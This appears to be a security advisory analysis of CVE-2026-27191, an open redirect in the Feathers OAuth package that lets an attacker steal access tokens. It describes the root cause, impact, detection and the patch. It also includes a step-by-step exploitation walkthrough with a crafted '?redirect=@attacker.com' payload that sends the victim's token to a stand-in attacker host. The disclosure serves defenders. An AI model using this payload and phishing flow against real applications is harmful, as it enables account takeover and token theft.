CVE-2026-27191: 
JavaScript vulnerability analysis and mitigation

CVE-2026-27191 is an open redirect vulnerability in the @feathersjs/authentication-oauth package that enables full account takeover via URL authority injection during OAuth callback handling. The flaw affects all versions of @feathersjs/feathers (npm) up to and including 5.0.39, and was disclosed on February 18, 2026, with a patch released in version 5.0.40. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 7.4 (High) (GitHub Advisory, Feathers Security Advisory).

The root cause is improper input validation of the redirect query parameter (CWE-601: URL Redirection to Untrusted Site). The application constructs the final OAuth redirect URL by directly concatenating a configured base origin with the user-supplied ?redirect= parameter value — const redirectUrl = \${redirect}${queryRedirect}`— without sanitizing characters that can alter URL authority. An attacker supplying@attacker.comas the redirect value produces a URL likehttps://target.com@attacker.com#access_token=...`, which browsers parse with attacker.com as the actual host, causing the access token to be sent to the attacker's server. A secondary weakness existed in origin validation: the startsWith() comparison allowed bypass by domains sharing a prefix with an allowed origin (e.g., https://target.com.attacker.com). Exploitation requires the origins array to be configured and origin values to not end with / (GitHub Advisory, Patch Commit).

Successful exploitation results in full account takeover: the attacker captures the victim's OAuth access token and can impersonate them across any service relying on that token. Confidentiality and integrity of the victim's account are fully compromised, as the attacker gains the same privileges as the authenticated user. There is no direct availability impact, but the stolen token can be used for unauthorized actions, data exfiltration, or privilege escalation within the application (GitHub Advisory, Feathers Security Advisory).

No public exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.039% (2nd percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — a victim must click a crafted OAuth login link — and the target application must have the origins array configured with values not ending in / (GitHub Advisory).

1. Reconnaissance: Identify a target application using @feathersjs/authentication-oauth version ≤ 5.0.39 with OAuth login enabled and the origins array configured (origin values not ending with /).
2. Craft malicious redirect URL: Construct a login URL with a malicious ?redirect= parameter, e.g., https://target.com/oauth/github?redirect=@attacker.com, where attacker.com is an attacker-controlled server.
3. Deliver to victim: Send the crafted URL to a victim via phishing, social engineering, or embedding in a web page to induce them to initiate the OAuth flow.
4. Victim authenticates: The victim clicks the link and completes the OAuth login with their identity provider (e.g., GitHub). The application stores the malicious redirect value in the session.
5. Token exfiltration: After successful OAuth authentication, the application constructs the redirect URL as https://target.com@attacker.com#access_token=<victim_token>. The browser interprets attacker.com as the host and sends the request — including the access token in the URL fragment — to the attacker's server.
6. Account takeover: The attacker extracts the access token from server logs or JavaScript on attacker.com and uses it to impersonate the victim (GitHub Advisory, Patch Commit).

• Network: Outbound HTTP requests from the application server to unexpected external domains immediately following OAuth callback processing; OAuth redirect URLs in server logs containing @ characters, //, or backslashes in the redirect parameter.
• Logs: Application access logs showing OAuth callback requests (e.g., /oauth/github/callback) with redirect query parameters containing @, //, or \ characters; NotAuthenticated errors for Invalid redirect path (post-patch) indicating attempted exploitation.
• Application Behavior: OAuth sessions completing but redirecting users to unexpected external domains; access tokens appearing in referrer headers of requests to third-party servers.

Upgrade @feathersjs/authentication-oauth to version 5.0.40 or later, which validates the redirect parameter by rejecting values containing @, //, or \ characters, and fixes origin validation to use exact origin comparison via new URL().origin instead of startsWith(). As a temporary workaround, ensure all configured origins values end with /, which reduces exploitability. Additionally, restrict the OAuth login endpoint to trusted referrers at the network or WAF level (GitHub Release v5.0.40, Patch Commit).

The vulnerability was discovered and responsibly disclosed by researchers Abdelwahed Madani Yousfi (@vvxhid), Edoardo Geraci (@b0-n0-b0), and Thomas Rinsma (@ThomasRinsma) from Codean Labs. The Feathers maintainer (daffl) published the advisory and patch promptly on February 18, 2026. No significant broader media coverage or notable community controversy has been observed beyond the standard advisory publication (GitHub Advisory).